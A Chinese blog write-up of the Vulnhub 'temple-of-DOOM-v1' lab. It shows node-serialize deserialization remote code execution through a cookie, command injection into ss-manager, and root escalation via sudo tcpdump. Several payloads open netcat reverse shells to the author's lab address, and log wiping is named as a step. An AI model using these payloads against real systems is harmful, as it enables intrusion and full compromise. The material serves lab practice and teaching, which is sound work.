【甄选靶场】Vulnhub百个项目渗透——项目二十五:temple-of-DOOM-v1(node.js反序列化,二进制文件提权)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目二十五:temple-of-DOOM-v1(node.js反序列化,二进制文件提权)


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、使用步骤

三、web突破

信息收集

namp -sS -sA -V -T5 [IP]

在这里插入图片描述

发现只开了一个22的ssh,和一个666的http,那就先访问http

在这里插入图片描述

curl [IP:666]
nikto -h [IP:666]

没有任何结果,那就转变路线,试图从页面中获取到有用的信息

在这里插入图片描述

robots.txt也没有

抓包分析

首先不知道咋回事突然就开始报错了,以下是报错信息,大致看了一下,应该是json的一个问题,语法错误,然后看到了一个函数–unserialize,这是反序列化函数名,那就明白了,估计是反序列化的题,到这一步的话就得考虑找到这个可控的,传入的参数了,那么肯定要抓包分析,在数据包里找这个反序列化的东西。

SyntaxError: Unexpected token F in JSON at position 79
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/nodeadmin/.web/server.js:12:29
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)

抓到的包就是下图,看到cookie部分有一串,本来我也没太注意,但是我看到了结尾有个%3D,这是url编码,那就右键发送到decode解码一下

在这里插入图片描述

经过两次解码,得到了一个这样的字符串

在这里插入图片描述

{“username”:“Admin”,“csrftoken”:“u32t4o3tb3gg431fs34ggdgchjwnza0l=”,“Expires=”:Friday,
13 Oct 2018 00:00:00 GMT"}
猜测,刚才页面报错的原因就是这个东西被调用,但是有语法错误,但是这个玩意我也不知道有啥规则,浅浅按照配对规则发现发现那个friday前面少一个双引号,那我就补上然后重新编码发送,结果页面正常。
那么到这里其实就应该有一个思路,这是一个node.js反序列化的洞,当然了,我没有任何的判定方法,因为我感觉这个玩意只能代码审计才能知道,然后就拿这个玩意测试一下吧,首先

 {"username":"Admin"}
 把这个编码放到cookie试一下

回显正常,并且还有响应,说明这个玩意肯定被调用了,然后执行了

在这里插入图片描述

这个是node.js反序列化的讲解
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

这个连接里面给到了payload

{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('nc -e /bin/bash 192.168.247.129 6666', (error, stdout, stderr) =>{ console.log(stdout);});}()"}
反正就是这么个玩意,我手写不出来,因为我不太懂node.js,但我会搜,hhhhhhh

这里加入了返回参数:return
_ ND_FUNC _ function():在本地执行一个函数
child_process是node.js中的一个模块,它以类似于popen()的方式生成子进程。
child_process.exec()方法:此方法在控制台中运行命令并缓冲输出
它指定字符串Shell执行命令(在Linux上默认:/bin/sh)
(error, stdout, stderr) —linux的报错,标准输入输出
() —最后面这个小括号是IIEF的意思,这是立即调用函数表达式

普通函数调用
function foo(){
  var a = 10;
  console.log(a);
}
foo();
使用了iief的函数调用
(function foo(){
  var a = 10;
  console.log(a);
})();

本地开个端口接shell
没图是因为我开了bp代理忘记关了图片没复制上来。。。。大无语

四、提权

进去以后先
上传提权三脚本
然后ls -la什么的sudo -l先来一遍
发现sudo -l 不行,那就看看脚本跑了啥

发现了root权限的一个fireman用户运行的一个ss-manager服务。

是Shadowsocks-manager的缩写
Shadowsocks-libev是用于嵌入式的服务和安全SOCKS5作为代理,ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器,就是能创建新服务去利用!

ss-manager

之所以注意他,是因为跑脚本要注意所有红色以及以上的所有信息,而这个东西容易受到远程代码的影响,直接谷歌搜exp
用法如下:

nc -u 127.0.0.1 8839  
因为这个玩意是在udp上跑的,namp没扫到
添加:
{"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.247.129 4455 ||"}

此时此刻就获取了firemen的shell

二进制文件提权

首先sudo -l 看看有没有权限溢出

(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump

二进制文件的列表:https://gtfobins.github.io/ 在里面搜索到有权限运行的二进制可执行文件去里面找即可,就有利用方法

echo "nc -e /bin/bash 192.168.247.129 9988" > rong
chmod +x rong
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/rong -Z root

-i : 指定监听的网络接口
-w : 直接将包写入文件中,并不分析和打印出来
-W :与-C选项一起使用时,这会将创建的文件数量限制为指定的数字,并从头开始覆盖文件,从而创建“旋转”缓冲区。另外,它将命名带有足够前导0的文件以支持最大数量的文件,使它们能够正确排序。与-G选项一起使用时,这将限制创建的旋转转储文件的数量,在达到限制时以状态0退出。如果与-C一起使用,则行为将导致每个时间片的循环文件。
-G:如果指定,则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称,该名称 应包含由strftime(3)定义的时间格式。如果没有指定时间格式,则每个新文件都将覆盖前一个。如果与-C选项一起使用,则文件名将采用“
file ”的形式。
-z : 与-C或-G选项一起使用,这将使tcpdump运行“ 命令文件 ”,其中文件是每次旋转后关闭的保存文件。例如,指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
请注意,tcpdump将与捕获并行地运行命令,使用最低优先级,这样不会干扰捕获过程。
如果你想使用一个本身带有标志或不同参数的命令,你总是可以编写一个shell脚本,将savefile的名字作为唯一的参数,使标志和参数安排并执行你想要的命令。
-Z : 删除权限(如果是root)并将用户标识更改为用户,将组标识更改为主要用户组。这种行为默认是启用的(-Z tcpdump),可以通过-Z root来禁用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值